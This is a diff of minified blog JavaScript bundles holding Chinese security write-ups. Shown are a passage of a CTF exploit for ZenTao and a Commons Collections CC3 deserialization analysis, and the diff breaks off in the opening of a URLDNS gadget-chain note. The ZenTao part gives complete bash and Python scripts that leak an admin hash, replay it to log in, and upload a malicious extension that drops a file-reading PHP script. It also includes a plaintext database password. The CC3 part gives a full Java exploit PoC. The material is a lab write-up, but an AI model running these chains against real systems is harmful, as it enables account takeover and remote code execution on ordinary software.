"$work"\n zip -q -r ctf_flag_ext.zip ctf_flag_ext\n)\n\necho "[+] zip path: $work/ctf_flag_ext.zip"\n\necho "[+] Step 6: upload extension zip"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $BASE_URL/index.php?m=extension&f=upload" \\\n -H \'X-Requested-With: XMLHttpRequest\' \\\n -F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \\\n "$BASE_URL/index.php?m=extension&f=upload"\necho\n\necho "[+] Step 7: install extension"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n -b "$cj" -c "$cj" \\\n -H "Referer: $BASE_URL/index.php?m=extension&f=install" \\\n "$BASE_URL/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no" \\\n >/dev/null\n\necho "[+] Step 8: read flag"\ncurl -k -sS \\\n --proxy "$BURP_PROXY" \\\n "$BASE_URL/data/readflag.php"\necho\n\necho "[+] cookie jar: $cj"\necho "[+] work dir: $work"\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd0\u884c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"chmod +x poc.sh\nBURP_PROXY='http://127.0.0.1:8080' ./poc.sh 'http://127.0.0.1:18088'\n"})}),"\n",(0,t.jsx)(n.h3,{id:"python-requests-\u7248",children:"Python requests \u7248"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"#!/usr/bin/env python3\nimport hashlib\nimport os\nimport re\nimport shutil\nimport sys\nimport tempfile\nimport zipfile\n\nimport requests\n\n\nBASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18088'\nBURP_PROXY = os.environ.get('BURP_PROXY', 'http://127.0.0.1:8080')\n\nPROXIES = {\n 'http': BURP_PROXY,\n 'https': BURP_PROXY,\n}\n\n\ndef md5(data: str) -> str:\n return hashlib.md5(data.encode()).hexdigest()\n\n\ndef make_zip(workdir: str) -> str:\n root = os.path.join(workdir, 'ctf_flag_ext')\n os.makedirs(os.path.join(root, 'doc'), exist_ok=True)\n os.makedirs(os.path.join(root, 'www', 'data'), exist_ok=True)\n\n with open(os.path.join(root, 'doc', 'en.yaml'), 'w', encoding='utf-8') as f:\n f.write('''code: ctf_flag_ext\nname: CTF Flag Extension\nversion: 1.0\nauthor: ctf\ndesc: ctf\nlicense: mit\ntype: extension\nzentaoVersion: all\n''')\n\n with open(os.path.join(root, 'www', 'data', 'readflag.php'), 'w', encoding='utf-8') as f:\n f.write(\"<?php readfile('/flag');\\n\")\n\n zip_path = os.path.join(workdir, 'ctf_flag_ext.zip')\n with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n for dirpath, _, filenames in os.walk(root):\n for filename in filenames:\n path = os.path.join(dirpath, filename)\n arcname = os.path.relpath(path, workdir)\n zf.write(path, arcname)\n return zip_path\n\n\ndef main():\n session = requests.Session()\n session.proxies.update(PROXIES)\n session.verify = False\n\n print(f'[+] Target: {BASE_URL}')\n print(f'[+] Burp proxy: {BURP_PROXY}')\n\n print('[+] Step 1: leak password hash')\n leak_url = f'{BASE_URL}/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'\n leak_resp = session.get(leak_url, headers={'X-Requested-With': 'XMLHttpRequest'})\n leak_resp.raise_for_status()\n\n hashes = re.findall(r'[a-f0-9]{32}', leak_resp.text)\n if not hashes:\n raise RuntimeError('no md5 hash found in ajaxGetList response')\n leaked_hash = hashes[-1]\n print(f'[+] leaked hash: {leaked_hash}')\n\n print('[+] Step 2: get session rand')\n rand_resp = session.get(f'{BASE_URL}/index.php?m=user&f=refreshRandom')\n rand_resp.raise_for_status()\n rand = rand_resp.text.strip()\n print(f'[+] rand: {rand}')\n\n print('[+] Step 3: login as admin')\n login_password = md5(leaked_hash + rand)\n login_url = f'{BASE_URL}/index.php?m=user&f=login&account=admin&password={login_password}&passwordStrength=3'\n login_resp = session.get(login_url)\n login_resp.raise_for_status()\n\n workdir = tempfile.mkdtemp(prefix='zt-ext-')\n try:\n print('[+] Step 4: make extension zip')\n zip_path = make_zip(workdir)\n print(f'[+] zip path: {zip_path}')\n\n print('[+] Step 5: upload extension')\n upload_url = f'{BASE_URL}/index.php?m=extension&f=upload'\n with open(zip_path, 'rb') as fp:\n files = {'files[]': ('ctf_flag_ext.zip', fp, 'application/zip')}\n upload_resp = session.post(\n upload_url,\n files=files,\n headers={\n 'Referer': upload_url,\n 'X-Requested-With': 'XMLHttpRequest',\n },\n )\n upload_resp.raise_for_status()\n print(upload_resp.text)\n\n print('[+] Step 6: install extension')\n install_url = (\n f'{BASE_URL}/index.php?m=extension&f=install'\n '&extension=ctf_flag_ext'\n '&downLink='\n '&md5='\n '&type='\n '&overridePackage=no'\n '&ignoreCompatible=yes'\n '&overrideFile=yes'\n '&agreeLicense=yes'\n '&upgrade=no'\n )\n install_resp = session.get(install_url, headers={'Referer': upload_url})\n install_resp.raise_for_status()\n\n print('[+] Step 7: read flag')\n flag_resp = session.get(f'{BASE_URL}/data/readflag.php')\n flag_resp.raise_for_status()\n print(flag_resp.text.strip())\n finally:\n print(f'[+] temp workdir kept at: {workdir}')\n # \u5982\u9700\u81ea\u52a8\u5220\u9664\u672c\u5730\u4e34\u65f6\u76ee\u5f55\uff0c\u53ef\u4ee5\u53d6\u6d88\u4e0b\u4e00\u884c\u6ce8\u91ca\u3002\n # shutil.rmtree(workdir)\n\n\nif __name__ == '__main__':\n main()\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd0\u884c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"python3 -m pip install requests\nBURP_PROXY='http://127.0.0.1:8080' python3 poc.py 'http://127.0.0.1:18088'\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x09-burp-\u6293\u5305\u91cd\u70b9",children:"0x09 Burp \u6293\u5305\u91cd\u70b9"}),"\n",(0,t.jsx)(n.p,{children:"\u5efa\u8bae\u91cd\u70b9\u770b\u8fd9\u51e0\u4e2a\u5305\uff1a"}),"\n",(0,t.jsx)(n.h3,{id:"1-\u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2",children:"1. \u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=action&f=ajaxGetList&objectType=user&objectID=15 HTTP/1.1\nHost: 127.0.0.1:18088\nX-Requested-With: XMLHttpRequest\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u54cd\u5e94\u91cc\u641c\u7d22\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"\u65b0\u503c\u4e3a\n"})}),"\n",(0,t.jsx)(n.h3,{id:"2-\u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570",children:"2. \u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=user&f=refreshRandom HTTP/1.1\nHost: 127.0.0.1:18088\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u54cd\u5e94\u4f53\u5c31\u662f ",(0,t.jsx)(n.code,{children:"rand"}),"\uff0c\u540c\u65f6\u4f1a\u8bbe\u7f6e\u6216\u66f4\u65b0 session cookie\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"3-\u54c8\u5e0c\u91cd\u653e\u767b\u5f55",children:"3. \u54c8\u5e0c\u91cd\u653e\u767b\u5f55"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=user&f=login&account=admin&password=<md5(leaked_hash+rand)>&passwordStrength=3 HTTP/1.1\nHost: 127.0.0.1:18088\nCookie: zentaosid=<\u540c\u4e00\u4e2a\u4f1a\u8bdd>\n"})}),"\n",(0,t.jsx)(n.h3,{id:"4-\u4e0a\u4f20\u63d2\u4ef6-zip",children:"4. \u4e0a\u4f20\u63d2\u4ef6 ZIP"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'POST /index.php?m=extension&f=upload HTTP/1.1\nHost: 127.0.0.1:18088\nCookie: zentaosid=<\u5df2\u767b\u5f55\u4f1a\u8bdd>\nReferer: http://127.0.0.1:18088/index.php?m=extension&f=upload\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=----xxx\n\n------xxx\nContent-Disposition: form-data; name="files[]"; filename="ctf_flag_ext.zip"\nContent-Type: application/zip\n\n<zip bytes>\n------xxx--\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u679c\u6ca1\u6709 ",(0,t.jsx)(n.code,{children:"Referer"}),"\uff0c\u6846\u67b6\u4f1a\u8ba4\u4e3a CSRF\uff0c\u6e05\u7a7a\u4e0a\u4f20\u5185\u5bb9\uff0c\u5bfc\u81f4\u4e0a\u4f20\u5931\u8d25\u6216\u8fd4\u56de\u4e0a\u4f20\u9875\u9762 HTML\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"5-\u5b89\u88c5\u63d2\u4ef6",children:"5. \u5b89\u88c5\u63d2\u4ef6"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no HTTP/1.1\nHost: 127.0.0.1:18088\nCookie: zentaosid=<\u5df2\u767b\u5f55\u4f1a\u8bdd>\nReferer: http://127.0.0.1:18088/index.php?m=extension&f=install\n"})}),"\n",(0,t.jsx)(n.h3,{id:"6-\u8bfb\u53d6-flag",children:"6. \u8bfb\u53d6 flag"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:"GET /data/readflag.php HTTP/1.1\nHost: 127.0.0.1:18088\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u54cd\u5e94\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"flag{12345}\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x0a-\u5229\u7528\u94fe\u603b\u7ed3",children:"0x0a \u5229\u7528\u94fe\u603b\u7ed3"}),"\n",(0,t.jsx)(n.p,{children:"\u5b8c\u6574\u94fe\u8def\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"action.ajaxGetList \u672a\u6388\u6743\n \u2193\n\u8bfb\u53d6 user:15 \u64cd\u4f5c\u5386\u53f2\n \u2193\n\u6cc4\u9732\u5bc6\u7801\u4fee\u6539\u540e\u7684\u6570\u636e\u5e93\u54c8\u5e0c\n \u2193\nrefreshRandom \u83b7\u53d6 session rand\n \u2193\n\u6784\u9020 md5(leaked_hash + rand)\n \u2193\n\u54c8\u5e0c\u91cd\u653e\u767b\u5f55 admin\n \u2193\n\u540e\u53f0\u4e0a\u4f20\u6076\u610f\u63d2\u4ef6 ZIP\n \u2193\n\u63d2\u4ef6\u5b89\u88c5\u590d\u5236 www/data/readflag.php\n \u2193\n\u8bbf\u95ee /data/readflag.php \u8bfb\u53d6 /flag\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u6700\u7ec8\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"flag{12345}\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x0b-\u6e05\u7406\u75d5\u8ff9",children:"0x0b \u6e05\u7406\u75d5\u8ff9"}),"\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u662f\u672c\u5730 CTF \u73af\u5883\uff0c\u9a8c\u8bc1\u7ed3\u675f\u540e\u53ef\u4ee5\u6e05\u7406\u63d2\u4ef6\u6587\u4ef6\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"docker exec zendao sh -lc 'rm -f /data/zentao/www/data/readflag.php'\ndocker exec zendao sh -lc 'rm -rf /data/zentao/extension/pkg/ctf_flag_ext /data/zentao/tmp/extension/ctf_flag_ext.zip'\ndocker exec mysql8 mysql -uroot -p6722786Dai zentao -e \"delete from zt_extension where code=\\\"ctf_flag_ext\\\";\"\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u6bd4\u8d5b\u73af\u5883\u4e00\u822c\u4e0d\u9700\u8981\u6e05\u7406\uff1b\u672c\u5730\u590d\u76d8\u5efa\u8bae\u6e05\u7406\uff0c\u907f\u514d\u540e\u7eed\u8bef\u7528\u9057\u7559 webshell\u3002"})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>r,x:()=>l});var a=s(96540);const t={},i=a.createContext(t);function r(e){const n=a.useContext(i);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:r(e.components),a.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/3471ee88.241c5004.js b/assets/js/3471ee88.241c5004.js new file mode 100644 index 0000000..d4f870a --- /dev/null +++ b/assets/js/3471ee88.241c5004.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9240],{28453:(e,n,a)=>{a.d(n,{R:()=>o,x:()=>c});var t=a(96540);const s={},r=t.createContext(s);function o(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:o(e.components),t.createElement(r.Provider,{value:n},e.children)}},58764:(e,n,a)=>{a.r(n),a.d(n,{assets:()=>l,contentTitle:()=>c,default:()=>p,frontMatter:()=>o,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","title":"Apache Commons Collections 3","description":"\u5229\u7528\u94fe\u5206\u6790","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/03.CC3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/03.CC3.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2"},"next":{"title":"Apache Commons Collections 6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6"}}');var s=a(74848),r=a(28453);const o={},c="Apache Commons Collections 3",l={},i=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2},{value:"CC3\u5229\u7528\u6d41\u7a0b\u56fe",id:"cc3\u5229\u7528\u6d41\u7a0b\u56fe",level:2}];function m(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"apache-commons-collections-3",children:"Apache Commons Collections 3"})}),"\n",(0,s.jsx)(n.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0ecc1\u4e0d\u540c\u7684\u662f\u5229\u7528\u4e86",(0,s.jsx)(n.code,{children:"InstantiateTransformer"}),"\u4e0e ",(0,s.jsx)(n.code,{children:"TemplatesImpl"})," \u7c7b\u7684\u52a8\u6001\u52a0\u8f7d"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728 ",(0,s.jsx)(n.code,{children:"TemplatesImpl.defineTransletClasses()"}),"\u5b8c\u6210\u4e86\u7c7b\u7684\u52a8\u6001\u52a0\u8f7d\uff0c"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816295.png-1",alt:"image-20230220164450032"})}),"\n",(0,s.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230",(0,s.jsx)(n.code,{children:"defineTransletClasses"})," \u6709\u4e09\u5904\u8c03\u7528 \uff0c\u4e14\u53ea\u6709\u4e00\u5904\u7684\u8c03\u7528\u5904\uff0c\u662f\u88ab\u5176\u4ed6\u7684\u8c03\u7528\u7684 ",(0,s.jsx)(n.code,{children:"getTransletInstance"})]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816296.png-1",alt:"image-20230220164821911"})}),"\n",(0,s.jsxs)(n.p,{children:["\u800c",(0,s.jsx)(n.code,{children:"newTransformer"})," \u53ea\u6709 ",(0,s.jsx)(n.code,{children:"TrAXFilter"})," \u8fd9\u4e2a\u7c7b\u7684\u6784\u9020\u51fd\u6570\u4e2d\u6ee1\u8db3\u6761\u4ef6"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816297.png-1",alt:"image-20230220165015377"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7ed3\u5408",(0,s.jsx)(n.code,{children:"InstantiateTransformer"})," \u5c31\u53ef\u6210\u529f\u8c03\u7528\u94fe\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816298.png-1",alt:"image-20230220165103295"})}),"\n",(0,s.jsx)(n.p,{children:"\u5b8c\u6574\u7684POC"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport javax.xml.transform.Templates;\n\npublic class CC3 {\n public static void main(String[] args) throws Exception {\n TemplatesImpl templates = new TemplatesImpl();\n Class<? extends TemplatesImpl> aClass = templates.getClass();\n Field name = aClass.getDeclaredField("_name");\n name.setAccessible(true);\n name.set(templates,"aaaa");\n Field bytecodes = aClass.getDeclaredField("_bytecodes");\n bytecodes.setAccessible(true);\n byte[]code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\wjl\\\\Desktop\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\Test.class"));\n byte[][]codes = {code};\n bytecodes.set(templates,codes);\n ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{\n new ConstantTransformer(TrAXFilter.class),\n new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),\n });\n HashMap<Object, Object> objectObjectHashMap = new HashMap<>();\n Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);\n Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);\n declaredConstructor.setAccessible(true);\n InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);\n Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);\n Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);\n serialize(o1);\n unserialize("ser.bin");\n\n }\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n}\n'})}),"\n",(0,s.jsx)(n.h2,{id:"cc3\u5229\u7528\u6d41\u7a0b\u56fe",children:"CC3\u5229\u7528\u6d41\u7a0b\u56fe"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816299.png-1",alt:"image-20230220171002143"})})]})}function p(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(m,{...e})}):m(e)}}}]); \ No newline at end of file diff --git a/assets/js/34d17935.73c8df4f.js b/assets/js/34d17935.73c8df4f.js new file mode 100644 index 0000000..272c0c3 --- /dev/null +++ b/assets/js/34d17935.73c8df4f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[451],{8344:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>h,frontMatter:()=>l,metadata:()=>a,toc:()=>d});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","title":"URLDNS","description":"URLDNS \u662fysoserial\u4e2d\u5229\u7528\u94fe\u7684\u4e00\u4e2a\u540d\u5b57\uff0c\u901a\u5e38\u7528\u4e8e\u68c0\u6d4b\u662f\u5426\u5b58\u5728Java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002\u8be5\u5229\u7528\u94fe\u5177\u6709\u5982\u4e0b\u7279\u70b9\uff1a","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/02.URLDNS.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/02.URLDNS.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6"},"next":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6"}}');var t=s(74848),i=s(28453);const l={},r="URLDNS",c={},d=[{value:"\u5229\u7528\u94fe",id:"\u5229\u7528\u94fe",level:3},{value:"\u539f\u7406",id:"\u539f\u7406",level:3},{value:"\u5206\u6790",id:"\u5206\u6790",level:3},{value:"\u5b8c\u6574POC",id:"\u5b8c\u6574poc",level:3},{value:"\u8ddf\u70b9\u8c03\u8bd5",id:"\u8ddf\u70b9\u8c03\u8bd5",level:3}];function o(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",ul:"ul",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"urldns",children:"URLDNS"})}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"URLDNS"})," \u662fysoserial\u4e2d\u5229\u7528\u94fe\u7684\u4e00\u4e2a\u540d\u5b57\uff0c\u901a\u5e38\u7528\u4e8e\u68c0\u6d4b\u662f\u5426\u5b58\u5728Java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002\u8be5\u5229\u7528\u94fe\u5177\u6709\u5982\u4e0b\u7279\u70b9\uff1a"]}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u4e0d\u9650\u5236jdk\u7248\u672c\uff0c\u4f7f\u7528Java\u5185\u7f6e\u7c7b\uff0c\u5bf9\u7b2c\u4e09\u65b9\u4f9d\u8d56\u6ca1\u6709\u8981\u6c42"}),"\n",(0,t.jsx)(n.li,{children:"\u76ee\u6807\u65e0\u56de\u663e\uff0c\u53ef\u4ee5\u901a\u8fc7DNS\u8bf7\u6c42\u6765\u9a8c\u8bc1\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,t.jsx)(n.li,{children:"URLDNS\u5229\u7528\u94fe\uff0c\u53ea\u80fd\u53d1\u8d77DNS\u8bf7\u6c42\uff0c\u5e76\u4e0d\u80fd\u8fdb\u884c\u5176\u4ed6\u5229\u7528"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(n.h3,{id:"\u5229\u7528\u94fe",children:"\u5229\u7528\u94fe"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:" * HashMap.readObject()\n * HashMap.putVal()\n * HashMap.hash()\n * URL.hashCode()\n * handler.hashCode()\n"})}),"\n",(0,t.jsx)(n.h3,{id:"\u539f\u7406",children:"\u539f\u7406"}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"java.util.HashMap"})," \u91cd\u5199\u4e86 ",(0,t.jsx)(n.code,{children:"readObject"}),", \u5728\u53cd\u5e8f\u5217\u5316\u65f6\u4f1a\u8c03\u7528 ",(0,t.jsx)(n.code,{children:"hash"})," \u51fd\u6570\u8ba1\u7b97 key \u7684 hashCode.\u800c ",(0,t.jsx)(n.code,{children:"java.net.URL"})," \u7684 hashCode \u5728\u8ba1\u7b97\u65f6\u4f1a\u8c03\u7528 ",(0,t.jsx)(n.code,{children:"getHostAddress"})," \u6765\u89e3\u6790\u57df\u540d, \u4ece\u800c\u53d1\u51fa DNS \u8bf7\u6c42."]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827054.png",alt:"image-20221118003718726"})}),"\n",(0,t.jsx)(n.h3,{id:"\u5206\u6790",children:"\u5206\u6790"}),"\n",(0,t.jsx)(n.p,{children:"\u5728hashMap\u7684readObject\u65b9\u6cd5\u4e2d\u6700\u540e\u8c03\u7528\u4e86\uff0cputVal\uff08\uff09\uff0c\u4ed6\u8ba1\u7b97\u4e86\u4e00\u4e0bhash\uff08key\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827055.png",alt:"image-20221118005145146"})}),"\n",(0,t.jsx)(n.p,{children:"\u5728hash\u65b9\u6cd5\u4e2d\u76f4\u63a5\u4f1a\u8c03\u7528key\u7684hashCode\u65b9\u6cd5\uff0c\u8fd9\u91cc\u7684key\u5c31\u662f\u6211\u4eec\u4f20\u5165\u7684hashMap\u7684\u952e\uff08URL\u7c7b\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827056.png",alt:"image-20221118005311542"})}),"\n",(0,t.jsx)(n.p,{children:"\u5c31\u76f4\u63a5